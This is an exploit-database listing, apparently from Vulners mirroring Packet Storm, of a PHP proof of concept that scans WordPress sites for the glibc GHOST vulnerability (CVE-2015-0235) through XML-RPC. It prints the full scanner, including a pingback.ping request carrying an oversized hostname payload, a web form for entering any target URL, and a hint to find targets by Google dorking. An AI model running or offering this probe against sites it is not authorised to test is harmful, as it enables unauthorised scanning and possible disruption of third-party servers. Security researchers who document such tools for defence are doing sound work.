Lucene search
K

WordPress 4.2.4 XMLRPC GHOST Vulnerability Scanner

🗓️ 07 Mar 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 624 Views

Scanner for WordPress 4.2.4 GHOST vulnerability using XML-RPC on local server environment.

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects WebSphere Transformation Extender with Launcher Hypervisor Edition [for RHEL] (CVE-2015-0235)
16 Jun 201819:42
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects DS8000 (CVE-2015-0235)
24 May 202217:06
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM Flex System EN6131 40Gb Ethernet / IB6131 40Gb Infiniband Switch Firmware (CVE-2015-0235)
31 Jan 201901:55
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM/Cisco Switches and Directors (CVE-2015-0235)
20 Aug 202200:54
ibm
IBM Security Bulletins
IBM Security Network Protection / IBM QRadar Network Security / XGS Technote Index
31 Jan 202100:10
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM Security Network Intrusion Prevention System (CVE-2015-0235)
23 Feb 202219:48
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability is fixed in IBM Security Access Manager for Enterprise Single Sign-On Virtual Appliance (CVE-2015-0235)
16 Jun 201821:22
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects QRadar SIEM, QRadar Risk Manager, and QRadar Vulnerability Manager (CVE-2015-0235)
23 Feb 202217:02
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM PureApplication System (CVE-2015-0235)
15 Jun 201807:02
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in GNU C library (glibc) affects SmartCloud Provisioning 2.1 for IBM Provided Software Virtual Appliance (CVE-2015-0235)
17 Jun 201822:30
ibm
Rows per page
=============================================================================================================================================
    | # Title     : WordPress 4.2.4 XMLRPC GHOST Vulnerability Scanner                                                                          |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/                                                                                                      |
    =============================================================================================================================================
    
    POC :
    
    [+] Dorking İn Google Or Other Search Enggine.
    
    [+] Code Description: Standalone PHP code to scan WordPress for GHOST vulnerability using XML-RPC.
       
       (linked: https://packetstorm.news/files/id/181060/ Linked CVE numbers: 	CVE-2015-0235),
    	
    [+] save code as poc.php.
    
    [+] USage : http://127.0.0.1/poc.php 
    
    [+] PayLoad :
    
    <?php
    
    class WordpressGhostScanner {
        private $target;
        private $length;
    
        public function __construct($target, $length = 2500) {
            $this->target = $target;
            $this->length = $length;
        }
    
        public function isWordpress() {
            $headers = @get_headers($this->target);
            if (!$headers) return false;
            foreach ($headers as $header) {
                if (stripos($header, 'X-Pingback') !== false) {
                    return true;
                }
            }
            return false;
        }
    
        public function isXmlrpcEnabled() {
            $url = $this->target . "/xmlrpc.php";
            $response = @file_get_contents($url);
            return $response !== false && stripos($response, 'XML-RPC server accepts') !== false;
        }
    
        public function checkVulnerability() {
            if (!$this->isWordpress()) {
                return "هذا الموقع لا يستخدم ووردبريس.";
            }
            if (!$this->isXmlrpcEnabled()) {
                return "الواجهة XMLRPC غير مفعلة على هذا الموقع.";
            }
    
            $ghost = str_repeat("0", $this->length);
            $payload = "http://{$ghost}/test.php";
            $xml = "<?xml version='1.0'?><methodCall><methodName>pingback.ping</methodName><params><param><value>$payload</value></param><param><value>$payload</value></param></params></methodCall>";
    
            $context = stream_context_create([
                'http' => [
                    'method' => 'POST',
                    'header' => "Content-Type: text/xml\r\n",
                    'content' => $xml
                ]
            ]);
            
            $response = @file_get_contents($this->target . '/xmlrpc.php', false, $context);
            if ($response === false || strpos($http_response_header[0], '500') !== false) {
                return "الموقع مستهدف بسبب ثغرة GHOST.";
            } else {
                return "الموقع غير معرض لثغرة GHOST.";
            }
        }
    }
    
    // واجهة المستخدم البسيطة
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $target = $_POST['target'];
        $scanner = new WordpressGhostScanner($target);
        $result = $scanner->checkVulnerability();
    }
    ?>
    
    <!DOCTYPE html>
    <html lang="ar">
    <head>
        <meta charset="UTF-8">
        <title>فحص ثغرة GHOST في ووردبريس</title>
    </head>
    <body>
        <h2>أداة فحص ثغرة GHOST في ووردبريس</h2>
        <form method="POST">
            <label>أدخل رابط الموقع:</label>
            <input type="text" name="target" required>
            <button type="submit">فحص</button>
        </form>
        <?php if (isset($result)): ?>
            <p><strong>النتيجة:</strong> <?php echo htmlspecialchars($result); ?></p>
        <?php endif; ?>
    </body>
    </html>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Mar 2025 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 210
EPSS0.94859
624